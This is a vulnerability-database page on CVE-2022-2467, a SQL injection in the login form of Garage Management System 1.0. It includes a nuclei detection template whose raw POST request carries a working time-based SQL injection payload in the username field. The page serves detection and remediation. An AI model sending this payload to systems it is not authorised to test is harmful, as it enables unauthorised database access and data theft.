HexBrain

Browse / CVEs / CVE-2022-2467

CVE-2022-2467· garage management system project / garage management system· CWE-89

Garage Management System 1.0 - SQL Injection

criticalseverity
9.8CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Garage Management System 1.0 contains a SQL injection vulnerability in /login.php via manipulation of the argument username with input [email protected]' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Garage Management System 1.0.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=7 AND contains "Garage Billing Software" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2467 -u <target>

The full check
id: CVE-2022-2467

info:
  name: Garage Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Garage Management System 1.0 contains a SQL injection vulnerability in /login.php via manipulation of the argument username with input [email protected]' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Garage Management System 1.0.
  reference:
    - https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Garage-Management-System.md
    - https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2467
    cwe-id: CWE-89
    epss-score: 0.04863
    epss-percentile: 0.92113
    cpe: cpe:2.3:a:garage_management_system_project:garage_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: garage_management_system_project
    product: garage_management_system
  tags: time-based-sqli,cve,cve2022,sourcecodester,garagemanagementsystem,sqli,garage_management_system_project,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        [email protected]' AND (SELECT 6427 FROM (SELECT(SLEEP(7)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'

      - type: word
        part: body
        words:
          - 'Garage Billing Software'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from